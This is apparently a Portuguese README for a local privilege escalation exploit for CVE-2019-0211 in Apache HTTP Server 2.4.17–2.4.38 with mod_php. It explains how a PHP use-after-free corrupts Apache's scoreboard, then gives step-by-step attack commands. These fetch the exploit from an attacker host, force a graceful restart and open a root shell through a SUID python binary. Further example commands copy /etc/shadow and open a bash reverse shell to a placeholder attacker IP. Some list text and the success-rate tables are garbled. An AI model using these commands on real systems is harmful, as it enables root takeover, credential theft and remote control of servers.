
Exploit de escalonamento de privilégios local para CVE-2019-0211 visando Apache HTTP Server 2.4.17-2.4.38 com mod_php. Usa UAF no PHP para corromper o scoreboard do Apache e executar comandos arbitrários como root via graceful restart.
CVE-2019-0211 é uma vulnerabilidade de escalada de privilégios local que afeta o Apache HTTP Server entre as versões 2.4.17 e 2.4.38 com mod_prefork e mod_php (ou PHP-FPM).
A vulnerabilidade permite a um atacante com uma shell como www-data escalar para root mediante uma combinação de Use-After-Free (UAF) em PHP e corrupção do scoreboard do Apache. Quando o Apache realiza um graceful restart (por exemplo, mediante logrotate às 6:25 AM), executa child_init() antes de dropar privilégios. Se conseguirmos corromper o ponteiro para esta função, podemos fazer o Apache executar um comando arbitrário como root.
CVSS 3.1: 7.8 (HIGH) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Apache utiliza uma região de memória compartilhada chamada scoreboard onde cada processo filho worker tem uma estrutura process_score com um ponteiro bucket para prefork_child_bucket. Este bucket contém um apr_proc_mutex_t com ponteiros para funções (meth->child_init()).
Quando o Apache faz um graceful restart (trigger natural às 6:25 AM por logrotate), chama child_init() antes de dropar privilégios. O exploit:
DateInterval e serialização JSON/proc/self/maps para localizar o scoreboard (SHM em /dev/zero)all_buckets na memória do Apachemeth->child_init() para system()Charles Fol — @cfreal_
Post original: CARPE DIEM — CVE-2019-0211 Apache Local Root
www-data no servidor.php em um diretório servido pelo Apache# 1. Enviar o exploit para o servidor vulnerável
# Da sua máquina atacante:
python3 -m http.server 8080
# No servidor (como www-data):
cd /var/www/html
wget http://TU_IP:8080/carpediem.php
# 2. Executar o exploit
curl http://localhost/carpediem.php
# 3. Aguardar o Apache fazer graceful restart
# Opção A) Aguardar até as 6:25 AM (logrotate automático)
# Opção B) Forçar logrotate se tiver permissões:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# 4. Verificar se python3.5 agora é SUID root
ls -la /usr/bin/python3.5
# Saída esperada: -rwsr-sr-x 2 root root ...
# 5. Escalar para root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Você pode alterar o comando executado como root usando o parâmetro cmd:
# Exemplo: fazer uma cópia de /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"
# Exemplo: reverse shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/TU_IP/PUERTO+0>%261'"
| Workers |
|---|
Mais workers = maior taxa de sucesso.
/proc/self/maps mediante hidef ou AppArmor/SELinux| Campo | Valor |
|---|
| CVE | CVE-2019-0211 |
| Produto | Apache HTTP Server |
| Versões afetadas | 2.4.17 – 2.4.38 |
| Tipo | Local Privilege Escalation (CWE-269) |
| Requisito | Shell como www-data, Apache com mod_php, MPM prefork/worker/event |
| CVSS 3.1 | 7.8 HIGH |
| Correção | Apache 2.4.39 |
| Sucesso |
|---|
| Tentativas |
|---|
| Falhas |
|---|
| 5 (default) | 87% | 177 | 26 |
| 8 | 89% | 60 | 8 |
| 10 | 95% | 70 | 4 |